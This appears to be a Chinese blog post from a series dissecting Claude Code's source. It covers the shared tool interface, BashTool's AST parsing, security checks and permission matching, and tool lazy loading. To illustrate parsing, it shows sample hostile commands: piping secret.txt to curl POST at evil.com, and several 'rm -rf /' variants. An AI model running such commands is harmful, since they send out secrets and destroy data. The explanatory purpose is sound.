[CC解构] 40 个工具的统一抽象

[CC解构] 40 个工具的统一抽象

接上回:灵魂工程:System Prompt 的七层设计。

如果系统提示词是 Claude Code 的灵魂,工具就是它的手脚。

一个 AI Agent 能做什么,完全取决于它有什么工具。Claude Code 有 40+ 个工具,涵盖文件操作、命令执行、代码搜索、MCP 集成、多 Agent 编排。规模不算小——但真正让我印象深刻的不是工具的数量,而是让这 40 个完全不同的工具共享同一套框架的接口设计。


Tool 接口:792 行的契约

Tool.ts 定义了所有工具必须遵守的接口。核心方法:

type Tool<Input, Output> = {
  name: string
  inputSchema: Input                    // Zod v4 schema
  
  // 核心执行
  call(args, context, canUseTool, parentMessage, onProgress?)
    : Promise<ToolResult<Output>>
  
  // 权限
  isReadOnly(input): boolean            // 只读?跳过权限检查
  isDestructive?(input): boolean        // 破坏性?额外警告
  checkPermissions(input, context)      // 工具特定的权限逻辑
    : Promise<PermissionResult>
  
  // 安全分类器
  toAutoClassifierInput(input): unknown // 给安全分类器看的精简输入
  
  // UI
  userFacingName(input): string         // 用户看到的名字
  getToolUseSummary?(input): string     // 紧凑视图摘要
  getActivityDescription?(input): string // Spinner 描述
  
  // 行为控制
  isConcurrencySafe(input): boolean     // 能并行吗?
  interruptBehavior?(): 'cancel'|'block'// 用户中断时的行为
  isEnabled(): boolean                  // 当前是否启用
  validateInput?(input, context)        // 输入校验
    : Promise<ValidationResult>
}

这个接口设计有几个值得玩味的地方。

读写分离不是布尔值——是函数

isReadOnly(input: z.infer<Input>): boolean

注意参数是 input。同一个工具,不同输入可能有不同的读写性质。比如 Bash 工具——ls 是只读的,rm 不是。所以 isReadOnly 不是一个静态属性,而是一个函数,根据具体的命令内容动态判断。

toAutoClassifierInput:每个工具定义自己的安全投影

toAutoClassifierInput(input: z.infer<Input>): unknown

这个方法解决了一个核心问题:安全分类器需要判断一个工具调用是否危险,但它不需要看到完整的输入。

比如 FileWrite 工具——分类器需要知道你要写到哪个路径,但不需要看到完整的文件内容(可能有几万行)。所以 FileWrite 的 toAutoClassifierInput 只返回路径和内容摘要。

Bash 工具返回命令本身(命令就是全部安全信息)。FileRead 返回空字符串(读文件没有安全风险,分类器直接跳过)。

每个工具自己最清楚什么信息跟安全有关。 比起一个通用的"输入裁剪器",这种设计更精确、更可维护。

中断行为

interruptBehavior?(): 'cancel' | 'block'

用户在工具执行过程中发了新消息——怎么办?两种选择:

  • cancel:停止当前工具,处理新消息
  • block:继续执行,新消息排队等待

默认是 block。但某些长时间运行的工具(比如后台 Bash 命令)可能需要 cancel。

并发安全

isConcurrencySafe(input: z.infer<Input>): boolean

能不能跟其他工具调用并行执行?这决定了 QueryEngine 能不能把多个工具调用同时发出去。FileRead 是并发安全的(读文件不影响其他操作),FileWrite 不是(可能跟另一个写操作冲突)。


工具大家族

按代码规模排序:

工具代码行数功能
BashTool12,411Shell 命令执行
PowerShellTool8,959Windows PowerShell
AgentTool6,782子 Agent 编排
LSPTool2,005Language Server Protocol
FileEditTool1,812文件编辑(diff 语义)
FileReadTool1,602文件读取
SkillTool1,477技能调用
WebFetchTool1,131网页抓取
MCPTool1,086MCP 工具代理
SendMessageTool997Agent 间通信
FileWriteTool856文件创建
GrepTool795内容搜索

BashTool 一个工具就 12,411 行——比很多完整项目还大。让我们看看为什么。


BashTool:一个工具里的操作系统

BashTool 是 Claude Code 最复杂的单个工具。它有自己的 AST 解析器、安全检查器、权限系统、命令语义分析器。

为什么需要 AST 解析器?

bashParser.ts(4,436 行)+ ast.ts(2,679 行)= 7,115 行的 Bash AST 解析。

因为 Bash 命令不是简单的字符串——它是一门语言。考虑这些情况:

# 管道:每个部分要分别分析
cat secret.txt | curl -X POST https://evil.com

# 命令替换:嵌套执行
echo $(rm -rf /)

# 条件执行:看起来无害但可能有害
true && rm -rf /

# 引号和转义:分号在引号里不是分隔符
echo "a; rm -rf /"  # 安全!分号在引号里
echo a; rm -rf /     # 危险!两条独立命令

安全分类器需要理解命令的结构,不能只做字符串匹配。parseForSecurity 把 Bash 命令解析成 AST,然后逐节点检查安全性。

安全检查层级

bashSecurity.ts(2,592 行)实现了多层安全检查:

1. 命令语义分析(commandSemantics.ts)

每条命令被归类:

const BASH_SEARCH_COMMANDS = new Set(['find', 'grep', 'rg', 'ag', 'ack'])
const BASH_READ_COMMANDS = new Set(['cat', 'head', 'tail', 'less', 'wc', 'jq'])
const BASH_LIST_COMMANDS = new Set(['ls', 'tree', 'du'])
const BASH_SILENT_COMMANDS = new Set(['mv', 'cp', 'rm', 'mkdir', 'chmod'])
const BASH_SEMANTIC_NEUTRAL = new Set(['echo', 'printf', 'true', 'false'])

对管道命令,所有部分都必须是搜索/读取命令才算只读。cat file | grep pattern 是只读的,cat file | rm -rf 不是。语义中性命令(echo, true, false)在任何位置都不影响判断。

2. sed 编辑检测(sedEditParser.ts)

sed 命令特殊处理——它的一些用法是读操作(sed -n 'p'),一些是写操作(sed -i 's/old/new/')。有专门的解析器来判断。

3. 路径校验(pathValidation.ts)

检查命令是否在操作允许的路径。这跟沙箱系统联动。

4. 只读约束(readOnlyValidation.ts)

在 Plan Mode 下,所有写操作被禁止。

5. 破坏性命令警告(destructiveCommandWarning.ts)

rm -rf、git reset --hard、drop table 等命令触发额外警告。

权限匹配

bashPermissions.ts(2,621 行)实现了 Bash 专用的权限匹配。因为 Bash 的权限不是简单的"允许/拒绝"——它支持通配符模式匹配:

Bash(git *)        — 允许所有 git 子命令
Bash(npm run *)    — 允许所有 npm scripts
Bash(rm *)         — 允许删除(如果用户真的这么配置了)

输出处理

Bash 命令的输出也需要特殊处理:

  • 图片检测:如果输出包含图片数据(iTerm 内联图片协议),转成多模态内容
  • 大输出持久化:超过 maxResultSizeChars 的输出存到磁盘,返回预览 + 文件路径
  • 空行清理:stripEmptyLines——过多空行浪费 token
  • 背景任务:run_in_background 参数支持后台执行,完成后通知

FileEditTool:不只是写文件

FileEdit 不是简单的"写入内容"——它实现了 diff 语义的文件编辑。

关键设计决策:

export const FILE_UNEXPECTEDLY_MODIFIED_ERROR =
  'File has been unexpectedly modified. Read it again before attempting to write it.'

每次编辑前会检查文件是否被外部修改过。如果上次读取之后文件变了——拒绝编辑,要求重新读取。这防止了一类严重 bug:模型基于过时的文件内容做编辑,覆盖了用户刚做的修改。


FileReadTool:不止读文本

FileRead 支持读取的内容远超纯文本:

  • 图片(PNG, JPG):返回多模态内容,Claude 直接"看"图片
  • PDF:大文件必须指定页码范围(>10 页必须 pages: "1-5")
  • Jupyter Notebook:解析 .ipynb,返回所有 cell 及其输出
  • 截图:用户提供路径时直接查看
// prompt.ts 中的说明:
`This tool allows Claude Code to read images (eg PNG, JPG, etc). 
When reading an image file the contents are presented visually 
as Claude Code is a multimodal LLM.`

还有一个细节:FILE_UNCHANGED_STUB。如果文件自上次读取后没有变化,返回一段提示而不是重新发送全部内容——省 token。

export const FILE_UNCHANGED_STUB =
  'File unchanged since last read. The content from the earlier Read 
  tool_result in this conversation is still current.'

MCP 工具:动态注册的万能适配器

MCP(Model Context Protocol)工具不是预定义的——它们从 MCP Server 动态注册。MCPTool.ts(1,086 行)是一个通用适配器:

  1. 连接 MCP Server,获取它提供的工具列表
  2. 每个 MCP 工具被包装成一个标准 Tool 接口
  3. 工具名用 mcp__<server>__<tool> 格式避免冲突
  4. 权限走标准的 Permission 系统
  5. 分类器输入走标准的 toAutoClassifierInput
isMcp?: boolean  // Tool 接口上的标记
mcpInfo?: { serverName: string; toolName: string }  // 原始 MCP 名称

关键决策:MCP 工具跟内置工具共享完全相同的权限和安全框架。不存在"MCP 工具特权"或"MCP 工具豁免"——外部工具的安全标准跟内置工具一样高。


工具注册:编译时裁剪

工具注册在 tools.ts(389 行)里。有趣的是,很多工具被 feature flag 守卫:

const SleepTool = feature('PROACTIVE') || feature('KAIROS')
  ? require('./tools/SleepTool/SleepTool.js').SleepTool
  : null

const cronTools = feature('AGENT_TRIGGERS')
  ? [CronCreateTool, CronDeleteTool, CronListTool]
  : []

const MonitorTool = feature('MONITOR_TOOL')
  ? require('./tools/MonitorTool/MonitorTool.js').MonitorTool
  : null

外部构建里,这些 feature flag 在编译时被解析为 false,整个 require 连同工具代码一起被 tree-shaking 移除。外部用户的 Claude Code 二进制文件里根本不包含这些工具的代码。

这意味着 Anthropic 内部版的 Claude Code 比外部版多了很多工具:Sleep(自主模式休眠)、Cron(定时任务)、Monitor(后台进程监控)、REPL(Jupyter-like 交互环境)、RemoteTrigger(远程触发)等。


ToolSearch:工具太多怎么办

40+ 个工具全放进 API 调用的 tool schema 里,会占用大量 token。ToolSearchTool 解决了这个问题:

readonly shouldDefer?: boolean    // 延迟加载
readonly alwaysLoad?: boolean     // 始终加载
searchHint?: string               // 搜索关键词

不常用的工具标记为 shouldDefer: true,不包含在初始 prompt 里。模型需要时先调用 ToolSearch,通过关键词找到工具,然后工具才被加载到当前会话。

核心工具(FileRead, FileWrite, Bash 等)标记为 alwaysLoad: true,始终可用。

这是一个懒加载的工具系统——跟代码里的 import() 动态导入异曲同工。


大型输出的持久化

当工具输出超过 maxResultSizeChars 时,Claude Code 不会把全部内容塞进消息历史——那会吃掉大量 context window。相反,它把结果存到磁盘,只返回预览:

maxResultSizeChars: number  // 每个工具自己设置阈值

// FileReadTool 设为 Infinity——因为持久化读取结果会创建循环
// (Read→文件→Read→文件→...),而且 Read 本身已经有行数限制

大输出存储后,返回一个 buildLargeToolResultMessage,包含前 N 字节的预览和文件路径。模型可以用 FileRead 去读完整结果——但只有在需要时才读。


设计原则提炼

读完 Claude Code 的工具系统,几个设计原则值得借鉴:

1. 接口统一,实现自由

40 个工具共享同一个 Tool 接口,但每个工具自己决定:什么算只读、什么信息暴露给分类器、什么时候需要权限。框架不试图"理解"每个工具——它只定义契约。

2. 安全是接口的一部分

toAutoClassifierInput、isReadOnly、isDestructive、checkPermissions 都是接口的必需方法。安全不是事后补丁——你不能创建一个工具而不考虑它的安全属性。

3. 复杂度集中处理

Bash 工具占了全部工具代码的 30%(12,411 / ~40,000),因为 Bash 的安全问题最复杂。与其在框架层做不完美的通用安全检查,不如让 Bash 自己用 7,000 行 AST 解析器做精确的安全分析。复杂度应该在产生它的地方处理。

4. 懒加载不只是性能优化

ToolSearch 的延迟加载不只是省 token——它减少了模型的决策空间。40 个工具同时呈现时,模型需要花更多 token 来"思考"用哪个。按需加载让模型专注于当前任务需要的工具。


下一篇

工具系统讲完了。下一篇进入最精妙的安全设计——权限与安全:yoloClassifier 和四层防护。

一个名字叫 yolo 的安全分类器,一个两阶段的 XML 解析协议,一个"快速判断 + chain-of-thought 复核"的减少误报策略。这是 Claude Code 用 LLM 来审查 LLM 的完整方案。


📚 CC解构系列

篇目日期主题
序2026-03-31一个 .map 文件的蝴蝶效应
第 1 篇2026-04-01380K 行代码的骨架
第 2 篇2026-04-02灵魂工程:System Prompt 的七层设计
第 3 篇2026-04-0340 个工具的统一抽象
第 4 篇2026-04-04权限与安全:yoloClassifier 和四层防护
......持续更新

Comments